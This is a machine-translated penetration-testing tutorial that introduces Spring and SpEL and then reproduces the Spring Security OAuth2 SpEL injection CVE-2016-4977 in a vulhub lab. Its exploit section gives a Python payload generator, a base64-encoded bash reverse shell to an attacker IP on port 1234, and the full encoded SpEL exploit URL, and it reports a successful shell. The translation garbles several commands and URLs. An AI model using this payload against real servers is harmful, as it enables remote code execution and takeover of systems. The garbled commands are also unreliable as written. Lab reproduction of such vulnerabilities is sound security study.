Introduction of the Spring

Spring is a lightweight open source framework for Java EE programming. The framework was first proposed in 2002 by a programmer named Rod Johnson and was subsequently created to solve the problem of loose coupling between the business logic layer and other layers in enterprise programming development. So it will be interface oriented programming thought throughout the whole system application, to achieve agile development of the application framework. One of the main advantages of the framework is its layered architecture, which allows consumers to choose which components to use while providing an integrated framework for J2EE application development.

Spring Expression Language (SpEL) was introduced with the release of Spring 3.0 RC1 in September 2009. Analogies to the Struts2 framework show that OGNL is responsible for most of the security vulnerabilities. In particular, remote command execution bugs have led to Struts2’s growing unpopularity.

Therefore, Spring’s introduction of SpEL inevitably increases security risks. In fact, several Spring Cves have been associated with it in the past, such as CVE-2017-8039, CVE-2017-4971, CVE-2016-5007, CVE-2016-4977, etc.

What is SpEL

Spring Expression Language (SpEL) is an Expression Language based on Spring. Similar to Struts OGNL, SpEL can dynamically execute some operations or even some instructions at runtime, similar to Java reflection function. In terms of usage methods, there are three categories: directly used in annotations, directly used in XML files and directly used in code blocks.

The principles of SpEL are as follows

  1. Expression: can be thought of as the content of the string passed in

  2. Parser: Parses strings into expression content

  3. Context: The context in which the expression object is executed

  4. Root and Active context objects: The root object is the default active context object, and the active context object represents the object on which the current expression operates

Spring Framework Features

1. Look at the small ico icon for the Web application, which is a small green leaf

2. Read the error page. If the default error page is not fixed, it looks like this

3. Wappalyzer plugin recognition

4. The f12 see X – Application – head of the Context

Local Environment Construction

Install the IDEA

Website to download the installation package: www.jetbrains.com/idea/downlo…

Select the commercial version here, free trial 30 days

Installation directory Default

Don’t worry about the error, click OK, always default next step

Double-click the icon below

Choose to Download the SDK

Choose jdk1.8

Point next

Click on the Spring Web

Waiting for the installation

Click launch in the upper right corner to see the default port 8080

The access is successful and the deployment is successful

The environment of P Cow vulhub range is used for building the reproduced environment here.

Spring Penetration Summary

1.Spring Security OAuth2 Remote command Execution (CVE-2016-4977)

Vulnerability profile

Spring Security OAuth2 is a module that provides Security authentication support for the Spring framework. If Spring Security OAuth2 handles authentication requests using whitelabel views, the response_type parameter will be executed as Spring SpEL. An attacker can be authorized to trigger a remote code execution vulnerability by constructing a response_type value, that is, by constructing a malicious SpEL expression. Therefore, this vulnerability can only be exploited under the premise of knowing the account password.

Affects version

2.0.0-2.0.9
1.0.0-1.0.5

Copy the code

Vulnerability validation

Start the loopholes

To access the url

Enter the following vulnerability test URL:

http://192.168.173.144:8080/oauth/authorize?response_type=$} of {2 * 2 & client_id = acme&scope = openid&redirect _uri = http://testCopy the code

Enter the user name and password admin:admin. In the return result, you can see that the value is successfully calculated as 2*2=4

The page returns that executes the SpEL expression we entered, which can be viewed as an injection of the SpEL expression. Now that the expression is executed, we can consider the possibility of code injection.

Vulnerability emersion

Take a look at vulhub’s POC at github.com/vulhub/vulh…

#! /usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)Copy the code

As you can see, the POC modifies the input command, converting each string of the command to ASCII with the toString () method and passing in exec execution with concat concatenation.

Rebound in the shell:

The runtime does not support pipe characters, redirection, whitespace, and pipe characters, all of which can cause errors in online payloads. www.jackson-t.ca/runtime-exe…

Bash - > I & / dev/TCP / 192.168.173.133/1234 0 > &1 bash - c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}Copy the code

Generate poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)) .concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character) .toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lan g.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).con cat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toSt ring(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Ch aracter).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat( T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString( 65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Charact er).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java. lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).c oncat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).to String(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.C haracter).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T (java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString( 67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Charact er).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java. lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).c oncat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toS tring(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.C haracter).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat( T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString (77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Charac ter).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(jav a.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)) .concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).t oString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lan g.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).con cat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toS tring(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.C haracter).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat( T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString( 100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Chara cter).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(ja va.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44 )).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character ).toString(125)))}Copy the code

Modified URL:

The location of the http://192.168.173.144:8080/oauth/authorize?response_type=${poc} & client_id = acme&scope = openid&redirect _uri = http://testCopy the code
http://192.168.173.144:8080/oauth/authorize?response_type=${T (Java. Lang. Runtime). The getRuntime (). The exec (T (Java. Lang. Character ).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.la ng.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).con cat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toStr ing(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Ch aracter).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat( T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString (70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Charac ter).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(jav a.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)). concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).to String(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang .Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat (T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString (51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Charac ter).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java .lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)). concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).t oString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang. Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat (T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString (77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Charac ter).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(ja va.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77) ).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character). toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lan g.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).conc at(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toStr ing(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.C haracter).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat( T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toStrin g(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Charac ter).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(ja va.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98 )).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character ).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.l ang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=ht tp://testCopy the code

Listening port:

Execute THE URL and see the page shown in the figure.

The shell rebound succeeded. Procedure